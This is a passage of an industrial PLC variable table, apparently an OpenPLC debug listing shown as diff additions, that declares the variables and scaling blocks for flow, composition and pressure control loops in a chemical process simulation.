+51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; 